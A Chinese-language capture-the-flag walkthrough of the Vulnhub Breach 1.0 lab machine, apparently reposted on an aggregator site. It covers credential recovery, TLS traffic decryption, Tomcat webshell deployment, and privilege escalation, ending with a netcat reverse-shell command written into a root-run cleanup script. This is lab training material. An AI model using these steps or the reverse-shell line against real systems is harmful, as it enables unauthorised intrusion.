Vulnhub靶场渗透-Breach1.0

Posted paidx0

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulnhub靶场渗透-Breach1.0相关的知识,希望对你有一定的参考价值。

Vulnhub简介

Vulnhub是一个提供各种漏洞环境的一个靶场平台,大部分环境都是虚拟机镜像文件,预先设计各种漏洞
需要使用VMware或VirtualBox 运行,每个镜像都有破解的目标,从启动虚拟机到获取系统的 root 权限和查看 flag

https://www.vulnhub.com/

Breach1.0靶机信息

breach1.0 是一个难度初级到中级的Boot2Root/CTF挑战
静态ip(192.168.110.140),配置环境到同一个网段,我用的kali (192.168.110.128)来进行渗透

下面开始

信息收集

端口简单扫一下,好家伙基本上端口都是开放的,肯定是有问题的

访问192.168.110.140的 80 端口进入web页面

谷歌翻译了一下,哈哈哈

漏洞挖掘

1、右键查看首页源码,注意到注释很可疑,是一段base64 编码

两次解码得到一串账号密码

2、首页图片可以点击跳转,其他几个页面都是图片啥的,最后一个是 impresscms登录页


既然是登录页,那就用之前得到的账号密码尝试登录,登录成功,注意到有三封邮件

邮件三发现保存一个SSL证书,访问下载一个SSL证书的密钥库keystore,keystore是储存公私钥的一种文件格式

3、返回到左边的功能菜单,挨个查看了一下,profile 目录也看了一下,没发现什么漏洞

但找到一个很可疑的SSL,想到之前拿到的SSL密钥库,就点进去看了


谷歌翻译了一下

得到storepassword and keypassword are all set to 'tomcat'.,提到了无法读取文件很有可能就是流量包被前面的SSL加密了
访问下载流量包,wireshark打开应该是加密了流量



4、成功导出 .p12 证书,然后就是把他导入到wireshark,导入证书后HTTPS被解密,查看流量包
可以看到原来的一些TLS加密的变成了HTTP
最新版wireshark已经 把SSL 改为 TLS,其实SSL/TLS 都已统称通信加密协议

看样子像是被挂了图片马,执行了cmd

追踪http流,获得Tomcat后台登录地址http://192.168.110.140:8443/_M@nag3Me/html
采用http basic 认证,包含了用户名和密码的数据包 Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
base64 解码得到tomcat:Tt\\5D8F(#!*u=G)4m7zB



然后就是去访问Tomcat 后台登录

Tomcat后台的 getshell 有标准姿势,上养马场,准备好jsp版本的各种吗,像cmd小马,菜刀马,jspspy大马,打包成 .zip ,在改成 .war,上传部署

5、发现问题,用菜刀去连,一会儿就会断开,文件被删除,需要重新上传 war 包,猜测主机可能有杀软或者杀webshell的工具
解决方法,用bash反弹一个shell给我们
可以看我的另一篇文章
Linux反弹shell

查看当前系统用户 cat /etc/passwd ,注意到两个值的关注的用户,root就不用说了,我们关注的主要是有bin/bash权限的用户

进到网站根目录发现两个很长的文件名的php文件,打开看是数据库的连接文件,用户是 root 密码是空

登录mysql数据库,查询user表,拿到milton的密码MD5 thelaststraw

提权到 milton用户

查看历史命令,看到su blumbergh,需要找到这个用户的密码

在根目录下有6张图片,用 exiftool 查看详细信息,在bill.png 下看到可疑的注释coffeestains


6、尝试登录blumbergh,提权成功,历史命令里发现有可疑文件

进入这个文件,这是个清理脚本,每三分钟执行清理删除webapps目录下的所有文件,所以之前的菜刀一直会断连就是被清理了

sudo -l查看sudo 权限,发现能够以 root权限执行 tee 和 tidyup.shtee 命令用于读取标准输入的数据,并将其内容输出成文件,tidyup.sh就是清理脚本

7、想法就是利用 tee 以 root的权限向清理脚本写入反弹 shell,拿到 root权限

nc反弹shell
echo "nc -e /bin/bash 192.168.110.128 4444" > shell.txt

使用 tee命令将shell.txt写到 清理脚本
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看是否写入
cat /usr/share/cleanup/tidyup.sh

成功写入,nc监听等待反弹shell,root权限

查看隐藏文件,打开 flag.txt ,通关

总结

也是第一次写这种渗透的练习靶场,遇到了很多的坑,比如说各种环境的奇怪报错,linux操作不熟等等很多问题

通过查阅文档资料一个一个问题复现解决也学到了很多,还会继续练习记录靶场学习

道路是曲折的,回首是牛逼的

哈哈哈

以上是关于Vulnhub靶场渗透-Breach1.0的主要内容,如果未能解决你的问题,请参考以下文章

VulnHub渗透测试实战靶场 - Funbox: Lunchbreaker

VulnHub渗透测试实战靶场 - NULLY CYBERSECURITY: 1

VulnHub渗透测试实战靶场-HA: FORENSICS

VulnHub渗透测试实战靶场 - FUNBOX: CTF

VulnHub渗透测试实战靶场 - Funbox: GaoKao

VulnHub渗透测试实战靶场 - DevContainer:1